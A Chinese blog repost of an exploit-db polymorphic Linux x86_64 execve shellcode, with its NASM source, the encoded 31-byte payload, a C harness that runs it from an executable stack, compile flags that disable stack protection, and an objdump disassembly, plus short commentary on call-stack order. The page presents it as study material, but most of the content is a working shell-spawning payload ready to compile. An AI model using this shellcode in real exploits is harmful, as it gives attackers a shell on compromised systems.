一段强大的shellcode
来源:互联网 发布:wps如何筛选excel数据 编辑:程序博客网 时间:2024/06/05 01:48
代码来源于 exploit-db, 对于研究shellcode, 分析程序的运行以及linux系统有很大的帮助。
/*;Title: polymorphic execve shellcode;Author: d4sh&r;Contact: https://mx.linkedin.com/in/d4v1dvc;Category: Shellcode;Architecture:linux x86_64;SLAE64-1379;Description:;Polymorphic shellcode in 31 bytes to get a shell ;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux ;Compilation and execution;nasm -felf64 shell.nasm -o shell.o;ld shell.o -o shell;./shell global _start _start: mul esi push rdx mov al,1 mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh rol rbx,24 shr rbx,1 push rbx lea rdi, [rsp] ;address of /bin//sh add al,58 syscall */#include<stdio.h>//gcc -fno-stack-protector -z execstack shellcode.c -o shellcodeunsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05"; main(){ int (*ret)()=(int(*)()) code; ret();}
将汇编代码转换成对应的二进制代码里的数据 ,然后用16进制记录,将该段数据的位置给予函数指针,然后开始执行该段代码,相当巧妙。
下面便对比下该段shellcode 编译出对应的汇编代码,是否与注释中的相同。
执行一下命令:
# gcc -fno-stack-protector -z execstack -c shellcode.c
# objdump -S shellcode.o
对应的汇编代码输出如下:
tes07.o: 文件格式 elf64-x86-64Disassembly of section .text:0000000000000000 <main>:#include<stdio.h>//gcc -fno-stack-protector -z execstack shellcode.c -o shellcodeunsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05"; main(){ 0: 55 push %rbp 1: 48 89 e5 mov %rsp,%rbp 4: 48 83 ec 10 sub $0x10,%rsp int (*ret)()=(int(*)()) code; 8: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp) f: 00 ret(); 10: 48 8b 55 f8 mov -0x8(%rbp),%rdx 14: b8 00 00 00 00 mov $0x0,%eax 19: ff d2 callq *%rdx} 1b: c9 leaveq 1c: c3 retq
其中需要注意函数的压栈顺序,在进入函数调用时, 函数参数从右向左入栈,函数的地址最后压栈, 然后跳转到函数指针的位置处。
当函数执行完毕需要返回时,执行完堆栈动态销毁后,最后一个弹出的,是函数的入口地址,这样便返回了入口调用处。
0 0
- 一段强大的shellcode
- 一段ShellCode
- 一段小的 shellcode 测试 代码
- main中执行shellcode的一段代码的解释
- iOS开发一段非常强大的调试代码,自定义NSLog
- 《网络渗透技术》学习笔记(3)——一段穿透防火墙的Shellcode汇编代码分析 zz
- bind stage shellcode ,reverse stage shellcode,reverse shellcode的异同
- shellcode的初步编写
- 编写"优美"的SHELLCODE
- 我的Shellcode生成器
- 写精简的shellcode
- 编写shellcode的全过程
- 一个神奇的shellcode
- shellcode的隐藏运行
- 编写"优美"的SHELLCODE
- exit的shellcode
- hello的shellcode
- Shellcode的基本介绍
- A20(emmc) 编译环境
- 欢迎使用CSDN-markdown编辑器
- C 标准库 atoi 函数的实现
- 2.1进程与线程
- B1048. 数字加密(20)
- 一段强大的shellcode
- 02python_basis
- C 标准库 abs 函数的实现
- char 与 wchar_t 的互相转化
- BestCoder Round #65 ZYB's Biology
- 抢单系统,秒杀发红包系统,秒杀的架构在设计过程中需要考虑到那些问题,需要应用到哪些技术?
- 单链表反转
- windows linux Git使用总结
- BestCoder Round #65 ZYB's Game